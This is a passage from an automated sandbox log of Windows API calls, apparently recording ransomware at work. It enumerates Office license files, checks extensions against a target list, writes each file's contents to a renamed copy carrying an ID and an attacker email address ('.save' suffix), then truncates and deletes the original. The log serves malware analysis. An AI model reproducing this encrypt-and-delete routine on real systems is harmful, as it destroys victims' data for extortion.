"c:\\program files\\microsoft office\\root\\licenses16\\accessvl_kms_client-ppd.xrm-ms")) returned 1 [0181.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0181.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0181.790] lstrlenW (lpString=".doc") returned 4 [0181.791] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.791] lstrlenW (lpString=".docx") returned 5 [0181.791] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.791] lstrlenW (lpString=".pdf") returned 4 [0181.791] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.791] lstrlenW (lpString=".xls") returned 4 [0181.791] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.791] lstrlenW (lpString=".xlsx") returned 5 [0181.791] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.791] lstrlenW (lpString=".ppt") returned 4 [0181.791] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0181.791] lstrlenW (lpString=".zip") returned 4 [0181.791] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.791] lstrlenW (lpString=".rar") returned 4 [0181.791] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.791] lstrlenW (lpString=".bz2") returned 4 [0181.791] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.791] lstrlenW (lpString=".7z") returned 3 [0181.791] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0181.791] lstrlenW (lpString=".dbf") returned 4 [0181.791] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0181.792] lstrlenW (lpString=".1cd") returned 4 [0181.792] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0181.792] lstrlenW (lpString=".jpg") returned 4 [0181.792] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0181.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0181.792] lstrlenW (lpString=".doc") returned 4 [0181.792] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.792] lstrlenW (lpString=".docx") returned 5 [0181.792] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.792] lstrlenW (lpString=".pdf") returned 4 [0181.792] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.792] lstrlenW (lpString=".xls") returned 4 [0181.792] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.793] lstrlenW (lpString=".xlsx") returned 5 [0181.793] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.793] lstrlenW (lpString=".ppt") returned 4 [0181.793] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0181.793] lstrlenW (lpString=".zip") returned 4 [0181.793] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.793] lstrlenW (lpString=".rar") returned 4 [0181.793] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.793] lstrlenW (lpString=".bz2") returned 4 [0181.793] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.793] lstrlenW (lpString=".7z") returned 3 [0181.793] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0181.793] lstrlenW (lpString=".dbf") returned 4 [0181.793] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0181.793] lstrlenW (lpString=".1cd") returned 4 [0181.973] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0181.986] lstrlenW (lpString=".jpg") returned 4 [0181.986] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.986] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.986] lstrlenW (lpString="client-issuance-bridge-office.xrm-ms") returned 36 [0181.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.988] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=3211) returned 1 [0181.988] CloseHandle (hObject=0x388) returned 1 [0181.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220 [0181.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.989] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.989] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0181.990] GetLastError () returned 0x0 [0181.990] ReadFile (in: hFile=0x388, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xc8b, lpOverlapped=0x0) returned 1 [0181.993] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xc90, lpOverlapped=0x0) returned 1 [0181.994] ReadFile (in: hFile=0x388, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.994] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11c, lpOverlapped=0x0) returned 1 [0181.994] SetEndOfFile (hFile=0x530) returned 1 [0181.994] CloseHandle (hObject=0x530) returned 1 [0181.994] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.994] SetEndOfFile (hFile=0x388) returned 1 [0181.999] CloseHandle (hObject=0x388) returned 1 [0182.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.003] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 1 [0182.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0182.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0182.004] lstrlenW (lpString=".doc") returned 4 [0182.004] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.004] lstrlenW (lpString=".docx") returned 5 [0182.004] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.004] lstrlenW (lpString=".pdf") returned 4 [0182.005] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.005] lstrlenW (lpString=".xls") returned 4 [0182.005] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.005] lstrlenW (lpString=".xlsx") returned 5 [0182.005] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.005] lstrlenW (lpString=".ppt") returned 4 [0182.005] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0182.005] lstrlenW (lpString=".zip") returned 4 [0182.005] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.005] lstrlenW (lpString=".rar") returned 4 [0182.005] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.005] lstrlenW (lpString=".bz2") returned 4 [0182.005] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.005] lstrlenW (lpString=".7z") returned 3 [0182.005] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0182.005] lstrlenW (lpString=".dbf") returned 4 [0182.005] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0182.005] lstrlenW (lpString=".1cd") returned 4 [0182.005] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0182.005] lstrlenW (lpString=".jpg") returned 4 [0182.005] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0182.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0182.006] lstrlenW (lpString=".doc") returned 4 [0182.006] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.006] lstrlenW (lpString=".docx") returned 5 [0182.006] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.006] lstrlenW (lpString=".pdf") returned 4 [0182.006] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.006] lstrlenW (lpString=".xls") returned 4 [0182.006] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.006] lstrlenW (lpString=".xlsx") returned 5 [0182.006] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.006] lstrlenW (lpString=".ppt") returned 4 [0182.006] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0182.006] lstrlenW (lpString=".zip") returned 4 [0182.006] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.006] lstrlenW (lpString=".rar") returned 4 [0182.006] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.006] lstrlenW (lpString=".bz2") returned 4 [0182.006] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.006] lstrlenW (lpString=".7z") returned 3 [0182.006] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0182.006] lstrlenW (lpString=".dbf") returned 4 [0182.006] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0182.006] lstrlenW (lpString=".1cd") returned 4 [0182.006] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0182.006] lstrlenW (lpString=".jpg") returned 4 [0182.006] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.007] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0182.007] lstrlenW (lpString="client-issuance-root-bridge-test.xrm-ms") returned 39 [0182.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.009] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=3219) returned 1 [0182.009] CloseHandle (hObject=0x388) returned 1 [0182.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 0x220 [0182.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.010] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.010] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0182.011] GetLastError () returned 0x0 [0182.011] ReadFile (in: hFile=0x388, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xc93, lpOverlapped=0x0) returned 1 [0182.013] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xca0, lpOverlapped=0x0) returned 1 [0182.014] ReadFile (in: hFile=0x388, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.014] WriteFile (in: hFile=0x530, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x122, lpOverlapped=0x0) returned 1 [0182.014] SetEndOfFile (hFile=0x530) returned 1 [0182.014] CloseHandle (hObject=0x530) returned 1 [0182.014] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.014] SetEndOfFile (hFile=0x388) returned 1 [0182.019] CloseHandle (hObject=0x388) returned 1 [0182.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root-bridge-test.xrm-ms")) returned 1 [0182.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0182.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0182.120] lstrlenW (lpString=".doc") returned 4 [0182.120] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.120] lstrlenW (lpString=".docx") returned 5 [0182.120] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.120] lstrlenW (lpString=".pdf") returned 4 [0182.120] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.120] lstrlenW (lpString=".xls") returned 4 [0182.120] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.121] lstrlenW (lpString=".xlsx") returned 5 [0182.121] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.121] lstrlenW (lpString=".ppt") returned 4 [0182.121] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0182.121] lstrlenW (lpString=".zip") returned 4 [0182.121] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.121] lstrlenW (lpString=".rar") returned 4 [0182.121] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.121] lstrlenW (lpString=".bz2") returned 4 [0182.121] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.121] lstrlenW (lpString=".7z") returned 3 [0182.121] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0182.121] lstrlenW (lpString=".dbf") returned 4 [0182.121] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0182.121] lstrlenW (lpString=".1cd") returned 4 [0182.121] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0182.122] lstrlenW (lpString=".jpg") returned 4 [0182.122] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0182.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0182.122] lstrlenW (lpString=".doc") returned 4 [0182.122] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.122] lstrlenW (lpString=".docx") returned 5 [0182.122] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.122] lstrlenW (lpString=".pdf") returned 4 [0182.122] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.122] lstrlenW (lpString=".xls") returned 4 [0182.122] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.122] lstrlenW (lpString=".xlsx") returned 5 [0182.123] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.123] lstrlenW (lpString=".ppt") returned 4 [0182.123] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0182.123] lstrlenW (lpString=".zip") returned 4 [0182.123] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.123] lstrlenW (lpString=".rar") returned 4 [0182.123] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.123] lstrlenW (lpString=".bz2") returned 4 [0182.123] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.123] lstrlenW (lpString=".7z") returned 3 [0182.123] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0182.123] lstrlenW (lpString=".dbf") returned 4 [0182.123] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0182.123] lstrlenW (lpString=".1cd") returned 4 [0182.123] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root-bridge-test.xrm-ms") returned 89 [0182.123] lstrlenW (lpString=".jpg") returned 4 [0182.123] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.124] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0182.124] lstrlenW (lpString="client-issuance-root.xrm-ms") returned 27 [0182.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.443] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=3103) returned 1 [0182.443] CloseHandle (hObject=0x36c) returned 1 [0182.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 0x220 [0182.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0182.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.447] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.447] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0182.452] GetLastError () returned 0x0 [0182.452] ReadFile (in: hFile=0x36c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xc1f, lpOverlapped=0x0) returned 1 [0182.453] WriteFile (in: hFile=0x44c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xc20, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xc20, lpOverlapped=0x0) returned 1 [0182.454] ReadFile (in: hFile=0x36c, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.454] WriteFile (in: hFile=0x44c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10a, lpOverlapped=0x0) returned 1 [0182.455] SetEndOfFile (hFile=0x44c) returned 1 [0182.455] CloseHandle (hObject=0x44c) returned 1 [0182.455] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.455] SetEndOfFile (hFile=0x36c) returned 1 [0182.458] CloseHandle (hObject=0x36c) returned 1 [0182.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0182.459] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-root.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-root.xrm-ms")) returned 1 [0182.460] lstrlenW (lpString="C:\\Program 